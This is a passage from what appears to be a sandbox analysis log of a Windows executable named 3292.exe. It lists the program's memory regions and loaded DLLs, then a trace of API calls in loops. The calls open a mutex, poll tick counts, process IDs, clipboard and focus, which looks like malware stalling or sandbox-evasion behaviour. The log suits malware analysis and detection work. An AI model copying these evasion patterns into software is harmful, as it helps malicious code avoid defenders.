"pagefile_0x0000000000050000" filename = "" Region: id = 1308 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1309 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1310 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1311 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1312 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1313 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1314 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1315 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1316 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1317 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1318 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1319 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1320 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1321 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 1322 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1323 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1324 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1325 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1326 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1327 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1328 start_va = 0x760000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1329 start_va = 0x74800000 end_va = 0x74850fff entry_point = 0x7482988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 1330 start_va = 0x74860000 end_va = 0x74891fff entry_point = 0x748637f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1331 start_va = 0x748a0000 end_va = 0x748b3fff entry_point = 0x748a1340 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 1332 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1333 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1334 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1335 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1336 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1337 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1338 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1339 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1340 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1341 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1342 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1343 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1344 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1345 start_va = 0x76b60000 end_va = 0x76beefff entry_point = 0x76b63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1346 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1347 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1348 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1349 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1350 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1351 start_va = 0x860000 end_va = 0x9e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1352 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1353 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1354 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1355 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1356 start_va = 0x9f0000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 1357 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1358 start_va = 0x21b0000 end_va = 0x21bffff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 1359 start_va = 0x21c0000 end_va = 0x248efff entry_point = 0x21c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1360 start_va = 0x74650000 end_va = 0x746cffff entry_point = 0x746637c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1361 start_va = 0x1b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1362 start_va = 0x3e0000 end_va = 0x4befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 1363 start_va = 0xe0000 end_va = 0xf1fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1364 start_va = 0x100000 end_va = 0x10dfff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1365 start_va = 0x2490000 end_va = 0x2860fff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 1366 start_va = 0x110000 end_va = 0x11dfff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1367 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1368 start_va = 0x5e0000 end_va = 0x6dffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Thread: id = 42 os_tid = 0x740 [0040.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.062] GetLastError () returned 0x2 [0040.062] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x1eb)) [0040.062] VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.062] GetTickCount () returned 0x194fe [0040.062] wsprintfA (in: param_1=0x3df9d0, param_2="%d" | out: param_1="18103678") returned 8 [0040.062] lstrlenA (lpString="18103678") returned 8 [0040.062] GetCurrentProcessId () returned 0xbfc [0040.062] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.062] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.065] GetUserDefaultLangID () returned 0x409 [0040.065] GetCurrentProcessId () returned 0xbfc [0040.065] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.065] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.065] GetUserDefaultLangID () returned 0x409 [0040.065] GetCurrentProcessId () returned 0xbfc [0040.065] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.065] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.065] GetUserDefaultLangID () returned 0x409 [0040.065] GetCurrentProcessId () returned 0xbfc [0040.065] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.065] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.065] GetUserDefaultLangID () returned 0x409 [0040.065] GetCurrentProcessId () returned 0xbfc [0040.065] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.065] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.065] GetUserDefaultLangID () returned 0x409 [0040.065] GetCurrentProcessId () returned 0xbfc [0040.065] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.066] GetLastError () returned 0x2 [0040.066] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x1eb)) [0040.066] VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.066] GetTickCount () returned 0x194fe [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="%d" | out: param_1="18103678") returned 8 [0040.066] lstrlenA (lpString="18103678") returned 8 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.066] GetCurrentProcessId () returned 0xbfc [0040.066] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.066] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.066] GetUserDefaultLangID () returned 0x409 [0040.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.067] GetLastError () returned 0x2 [0040.067] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x1eb)) [0040.067] VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.067] GetTickCount () returned 0x194fe [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="%d" | out: param_1="18103678") returned 8 [0040.067] lstrlenA (lpString="18103678") returned 8 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.067] GetLastError () returned 0x2 [0040.067] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x1eb)) [0040.067] VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.067] GetTickCount () returned 0x194fe [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="%d" | out: param_1="18103678") returned 8 [0040.067] lstrlenA (lpString="18103678") returned 8 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.067] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.067] GetUserDefaultLangID () returned 0x409 [0040.067] GetCurrentProcessId () returned 0xbfc [0040.067] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] GetCurrentProcessId () returned 0xbfc [0040.068] wsprintfA (in: param_1=0x3df9d0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl13068") returned 11 [0040.068] lstrcmpA (lpString1="7X6Qcl13068", lpString2="7JWg25") returned 1 [0040.068] GetUserDefaultLangID () returned 0x409 [0040.068] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0040.068] GetLastError () returned 0x2 [0040.068] GetLocalTime (in: lpSystemTime=0x3df928 | out: lpSystemTime=0x3df928*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x16, wMilliseconds=0x1eb)) [0040.068] VarI4FromUI1 (in: bIn=0x1, plOut=0x3df938 | out: plOut=0x3df938) returned 0x0 [0040.068] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.085] GetFocus () returned 0x0 [0040.085] GetSystemMetrics (nIndex=25) returned 0 [0040.085] CountClipboardFormats () returned 0 [0040.085] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0040.086] GetFocus () returned 0x0 [0040.086] GetSystemMetrics (nIndex=25) returned 0 [0040.086] CountClipboardFormats () returned 0 [0040.086] 